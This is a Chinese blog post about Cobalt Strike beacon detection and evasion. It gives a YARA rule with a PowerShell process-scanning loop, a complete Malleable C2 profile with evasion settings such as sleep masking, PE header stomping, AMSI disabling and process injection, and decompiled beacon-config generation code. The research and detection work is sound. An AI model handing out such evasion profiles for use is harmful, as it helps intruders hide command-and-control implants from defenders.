关于这几天cs进程里的特征和网上的一些bypass
参考链接
https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/
https://mp.weixin.qq.com/s/mh8iYU6lQohsVrINM2uvCg
https://www.arashparsa.com/hook-heaps-and-live-free/
过程
首先cs上线进程注入个进程
使用ProcessHacker定位到SleepEx函数
转到内存保存可以看到明显的MZ头
利用给出的yara规则进行进程检测,可以很明显的发现是cs的进程
https://github.com/jas502n/cs_yara
遍历进程寻找cs的进程:powershell -command “Get-Process | ForEach-Object {./yara64.exe beaconEye.yar $_.ID -s}”
rule CobaltStrike {
strings:
$cobaltStrikeRule64 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 (00|01|02|04|08|10) 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 01 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 }
$cobaltStrikeRule32 = { 00 00 00 00 00 00 00 00 01 00 00 00 (00|01|02|04|08|10) 00 00 00 01 00 00 00 ?? ?? 00 00 02 00 00 00 ?? ?? ?? ?? 02 00 00 00 ?? ?? ?? ?? 01 00 00 00 ?? ?? 00 00 }
condition: any of them
}
cs的c2profile的sleep_mask是sleep xor加密的算法是否开启
sleep.profile
#This profile is meant to show all of the options available in Malleable C2
#Various options
# Append random-length string (up to data_jitter value) to http-get and http-post server output
set sample_name "Test Profile";
set dns_idle "0.0.0.0";
set dns_max_txt "252";
set dns_sleep "0";
set dns_stager_prepend "";
set dns_stager_subhost ".stage.123456.";
set dns_ttl "1";
set host_stage "true"; #Host payload for staging over set, setS, or DNS. Required by stagers.
set jitter "0";
set maxdns "255";
set pipename "msagent_###"; #Default name of pipe to use for SMB Beacon’s peer-to-peer communication. Each # is replaced witha random hex value.
set pipename_stager "status_##";
set sleeptime "60000"; #def sleep in ms
set smb_frame_header "";
set ssh_banner "Cobalt Strike 4.2";
set tcp_frame_header "";
set tcp_port "4444";
# Defaults for ALL CS set server responses
http-config {
set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive""timeout=5, max=100";
header "Connection""Keep-Alive";
# The set trust_x_forwarded_foroption decides if Cobalt Strike uses the
# X-Forwarded-For set header to determine the remote address of a request.
# Use this option if your Cobalt Strike server is behind an set redirector
set trust_x_forwarded_for "true";
}
https-certificate {
set C "US"; #Country
set CN "localhost"; # CN - you will probably nver use this, but don't leave at localost
set L "San Francisco"; #Locality
set OU "IT Services"; #Org unit
set O "FooCorp"; #Org name
set ST "CA"; #State
set validity "365";
# if using a valid vert, specify this, keystore = java keystore
#set keystore "domain.store";
#set password "mypassword";
}
#If you have code signing cert:
#code-signer {
# set keystore "keystore.jks";
# set password "password";
# set alias "server";
# set timestamp "false";
# set timestamp_url "set://timestamp.digicert.com";
#}
#Stager is only supported as a GET request and it will use AFAICT the IE on Windows.
http-stager {
set uri_x86 "/api/v1/GetLicence";
set uri_x64 "/api/v2/GetLicence";
client {
parameter "uuid" "96c5f1e1-067b-492e-a38b-4f6290369121";
#header "headername" "headervalue";
}
server {
header "Content-Type" "application/octet-stream";
header "Content-Encoding" "gzip";
output {
#GZIP headers and footers
prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
#AFAICT print is the only supported terminator
print;
}
}
}
#This is used only in http-get and http-post and not during stage
set useragent "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko";
# define indicators for an set GET
http-get {
# we require a stub URI to attach the rest of our data to.
set uri "/api/v1/Updates";
client {
header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
# mask our metadata, base64 encode it, store it in the URI
metadata {
# XOR encode the value
mask;
# URL-safe Base64 Encode
#base64url;
# URL-safe Base64 Encode
base64;
# NetBIOS Encode ‘a’ ?
#netbios;
#NetBIOS Encode ‘A’
#netbiosu;
# You probably want these to be last two, else you will encode these values
# Append a string to metadata
append ";" ;
# Prepend a string
prepend "SESSION=";
# Terminator statements - these say where the metadata goes
# Pick one
# Append to URI
#uri-append;
#Set in a header
header "Cookie";
#Send data as transaction body
#print
#Store data in a URI parameter
#parameter "someparam"
}
}
server {
header "Content-Type" "application/octet-stream";
header "Content-Encoding" "gzip";
# prepend some text in case the GET is empty.
output {
mask;
base64;
prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
print;
}
}
}
# define indicators for an set POST
http-post {
set uri "/api/v1/Telemetry/Id/";
set verb "POST";
client {
# make it look like we're posting something cool.
header "Content-Type" "application/json";
header "Accept-Encoding" "deflate, gzip;q=1.0, *;q=0.5";
# ugh, our data has to go somewhere!
output {
mask;
base64url;
uri-append;
}
# randomize and post our session ID
id {
mask;
base64url;
prepend "{version: 1, d=\x22";
append "\x22}\n";
print;
}
}
# The server's response to our set POST
server {
header "Content-Type" "application/octet-stream";
header "Content-Encoding" "gzip";
# post usually sends nothing, so let's prepend a string, mask it, and
# base64 encode it. We'll get something different back each time.
output {
mask;
base64;
prepend "\x1F\x8B\x08\x08\xF0\x70\xA3\x50\x00\x03";
append "\x7F\x01\xDD\xAF\x58\x52\x07\x00";
print;
}
}
}
stage {
# The transform-x86 and transform-x64 blocks pad and transform Beacon’s
# Reflective DLL stage. These blocks support three commands: prepend, append, and strrep.
transform-x86 {
prepend "\x90\x90";
strrep "ReflectiveLoader" "DoLegitStuff";
}
transform-x64 {
# transform the x64 rDLL stage, same options as with
}
stringw "I am not Beacon";
set cleanup "true"; # Ask Beacon to attempt to free memory associated with
# the Reflective DLL package that initialized it.
# Override the first bytes (MZ header included) of Beacon's Reflective DLL.
# Valid x86 instructions are required. Follow instructions that change
# CPU state with instructions that undo the change.
# set magic_mz_x86 "MZRE";
# set magic_mz_x86 "MZAR";
# Ask the x86 ReflectiveLoader to load the specified library and overwrite
# its space instead of allocating memory with VirtualAlloc.
# Only works with VirtualAlloc
#set module_x86 "xpsservices.dll";
#set module_x64 "xpsservices.dll";
# Obfuscate the Reflective DLL’s import table, overwrite unused header content,
# and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
set obfuscate "false";
# Obfuscate Beacon, in-memory, prior to sleeping
set sleep_mask "true";
# Use embedded function pointer hints to bootstrap Beacon agent without
# walking kernel32 EAT
set smartinject "true";
# Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after
# it loads Beacon payload
set stomppe "true";
# Ask ReflectiveLoader to use (true) or avoid RWX permissions (false) for Beacon DLL in memory
set userwx "false";
# set image_size_x86 "512000";
# set image_size_x64 "512000";
set entry_point "92145";
#The Exported name of the Beacon DLL
#set name "beacon.x64.dll"
#set rich_header # I don't understand this yet TODO: fixme
#TODO: add examples process-inject
}
process-inject {
# set how memory is allocated in a remote process
# VirtualAllocEx or NtMapViewOfSection. The
# NtMapViewOfSection option is for same-architecture injection only.
# VirtualAllocEx is always used for cross-arch memory allocations.
set allocator "VirtualAllocEx";
# shape the memory characteristics and content
set min_alloc "16384";
set startrwx "true";
set userwx "false";
transform-x86 {
prepend "\x90\x90";
}
transform-x64 {
# transform x64 injected content
}
# determine how to execute the injected code
execute {
CreateThread "ntdll.dll!RtlUserThreadStart";
SetThreadContext;
RtlCreateUserThread;
}
}
post-ex {
# control the temporary process we spawn to
set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
# change the permissions and content of our post-ex DLLs
set obfuscate "true";
# pass key function pointers from Beacon to its child jobs
set smartinject "true";
# disable AMSI in powerpick, execute-assembly, and psinject
set amsi_disable "true";
#The thread_hint option allows multi-threaded post-ex DLLs to spawn
# threads with a spoofed start address. Specify the thread hint as
# “module!function+0x##” to specify the start address to spoof.
# The optional 0x## part is an offset added to the start address.
# set thread_hint "....TODO:FIXME"
}
根据wx公众号的文章结尾所描述
经过测试确实如此
processhacker Memory所定位看到的内存是xor过的,MZ头也没了
还是能检测出来
看到的文章中还有一篇是Hook SleepEx函数,然后进行修改 (由于个人过于垃圾无法复现该文章)
https://www.arashparsa.com/hook-heaps-and-live-free/
最后就是跟着公众号文章分析了一下cs beacon生成的过程 (详细分析请看wx公众号的文章
BeaconConfig的生成在 BeaconPayload类的 exportBeaconStage函数中
exportBeaconStage
protected byte[] exportBeaconStage(int paramInt, String paramString1, boolean paramBoolean1, boolean paramBoolean2, String paramString2)
{
try
{
long l1 = System.currentTimeMillis(); //返回当前世界时间(毫秒)
byte[] arrayOfByte1 = SleevedResource.readResource(paramString2); //读取对应的dll并解密数据
if (paramString1.length() > 254) { //如果长度大于254则只读取0~254
paramString1 = paramString1.substring(0, 254);
}
String[] arrayOfString1 = this.c2profile.getString(".http-get.uri").split(" "); //get请求的路径读取
String[] arrayOfString2 = paramString1.split(",\\s*"); //字符串分割
LinkedList localLinkedList = new LinkedList();
for (int i = 0; i < arrayOfString2.length; i++) //遍历数据添加到localLinkedList
{
localLinkedList.add(arrayOfString2[i]);
localLinkedList.add(CommonUtils.pick(arrayOfString1));
}
while ((localLinkedList.size() > 2) && (CommonUtils.join(localLinkedList, ",").length() > 255))
{
str1 = localLinkedList.removeLast() + "";
String str2 = localLinkedList.removeLast() + "";
CommonUtils.print_info("dropping " + str2 + str1 + " from Beacon profile for size");
}
String str1 = randua(this.c2profile);
int j = Integer.parseInt(this.c2profile.getString(".sleeptime")); //c2profile延时时间读取
String str3 = CommonUtils.pick(this.c2profile.getString(".http-post.uri").split(" ")); //post请求的路径
byte[] arrayOfByte2 = this.c2profile.recover_binary(".http-get.server.output");//server头返回
byte[] arrayOfByte3 = this.c2profile.apply_binary(".http-get.client");//client请求
byte[] arrayOfByte4 = this.c2profile.apply_binary(".http-post.client");//post client请求
int k = this.c2profile.size(".http-get.server.output", 1048576); //get请求返回
int m = Integer.parseInt(this.c2profile.getString(".jitter"));
if ((m < 0) || (m > 99)) {
m = 0;
}
int n = Integer.parseInt(this.c2profile.getString(".maxdns"));
if ((n < 0) || (n > 255)) {
n = 255;
}
int i1 = 0;
if (paramBoolean1) {
i1 |= 0x1;
}
if (paramBoolean2) {
i1 |= 0x8;
}
long l2 = CommonUtils.ipToLong(this.c2profile.getString(".dns_idle"));
int i2 = Integer.parseInt(this.c2profile.getString(".dns_sleep")); //dns延迟读取
Settings localSettings = new Settings(); //beacon配置
localSettings.addShort(1, i1);
localSettings.addShort(2, paramInt);
localSettings.addInt(3, j);
localSettings.addInt(4, k);
localSettings.addShort(5, m);
localSettings.addShort(6, n);
localSettings.addData(7, this.publickey, 256);
localSettings.addString(8, CommonUtils.join(localLinkedList, ","), 256);
localSettings.addString(9, str1, 128);
localSettings.addString(10, str3, 64);
localSettings.addData(11, arrayOfByte2, 256);
localSettings.addData(12, arrayOfByte3, 256);
localSettings.addData(13, arrayOfByte4, 256);
localSettings.addData(14, CommonUtils.asBinary(this.c2profile.getString(".spawnto")), 16);
localSettings.addString(29, this.c2profile.getString(".post-ex.spawnto_x86"), 64);
localSettings.addString(30, this.c2profile.getString(".post-ex.spawnto_x64"), 64);
localSettings.addString(15, "", 128);
localSettings.addShort(31, QuickSecurity.getCryptoScheme());
localSettings.addInt(19, (int)l2);
localSettings.addInt(20, i2);
localSettings.addString(26, this.c2profile.getString(".http-get.verb"), 16);
localSettings.addString(27, this.c2profile.getString(".http-post.verb"), 16);
localSettings.addInt(28, this.c2profile.shouldChunkPosts() ? 96 : 0);
localSettings.addInt(37, this.c2profile.getInt(".watermark"));
localSettings.addShort(38, this.c2profile.option(".stage.cleanup") ? 1 : 0);
localSettings.addShort(39, this.c2profile.exerciseCFGCaution() ? 1 : 0);
String str4 = this.listener.getHostHeader();
if ((str4 == null) || (str4.length() == 0)) {
localSettings.addString(54, "", 128);
} else if (Profile.usesHostBeacon(this.c2profile)) {
localSettings.addString(54, "", 128);
} else {
localSettings.addString(54, "Host: " + this.listener.getHostHeader() + "\r\n", 128);
}
if (Profile.usesCookieBeacon(this.c2profile)) {
localSettings.addShort(50, 1);
} else {
localSettings.addShort(50, 0);
}
ProxyServer localProxyServer = ProxyServer.parse(this.listener.getProxyString()); //代理
localProxyServer.setup(localSettings);
setupPivotFrames(this.c2profile, localSettings);
setupKillDate(localSettings);
setupGargle(localSettings, paramString2);
new ProcessInject(this.c2profile).apply(localSettings);
byte[] arrayOfByte5 = localSettings.toPatch();
arrayOfByte5 = beacon_obfuscate(arrayOfByte5); //xor
String str5 = CommonUtils.bString(arrayOfByte1);
int i3 = str5.indexOf("AAAABBBBCCCCDDDDEEEEFFFF");
str5 = CommonUtils.replaceAt(str5, CommonUtils.bString(arrayOfByte5), i3);
return CommonUtils.toBytes(str5);
}
catch (IOException localIOException)
{
MudgeSanity.logException("export Beacon stage: " + paramString2, localIOException, false);
}
return new byte[0];
}
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:关于这几天cs进程里的特征和网上的一些bypass
本文作者:九世
发布时间:2021-09-11, 17:53:15
最后更新:2021-09-11, 18:08:32
原始链接:http://jiushill.github.io/posts/40a5ffce.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。